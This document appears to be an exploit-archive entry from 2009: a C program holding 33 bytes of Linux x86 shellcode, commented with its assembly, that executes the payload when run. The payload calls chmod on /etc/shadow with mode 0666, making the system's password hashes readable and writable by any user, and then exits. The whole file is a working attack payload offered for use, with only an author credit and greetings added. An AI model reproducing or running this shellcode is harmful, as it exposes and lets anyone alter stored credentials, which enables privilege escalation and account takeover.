Linux - chmod(/etc/shadow, 0666) & exit() - 33 bytes

                                                #include <stdio.h>

/* 
	linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
	written by ka0x - <ka0x01[alt+64]gmail.com>
	lun sep 21 17:13:25 CEST 2009

	greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!

*/

int main()
{

	char shellcode[] = 
			"\x31\xc0"			// xor eax,eax
			"\x50"				// push eax
			"\x68\x61\x64\x6f\x77"		// push dword 0x776f6461
			"\x68\x2f\x2f\x73\x68"		// push dword 0x68732f2f
			"\x68\x2f\x65\x74\x63"		// push dword 0x6374652f
			"\x89\xe3"			// mov ebx,esp
			"\x66\x68\xb6\x01"		// push word 0x1b6
			"\x59"				// pop ecx
			"\xb0\x0f"			// mov al,0xf
			"\xcd\x80"			// int 0x80
			"\xb0\x01"			// mov al,0x1
			"\xcd\x80";			// int 0x80

	printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
	(*(void(*)()) shellcode)();
	
	return 0;
}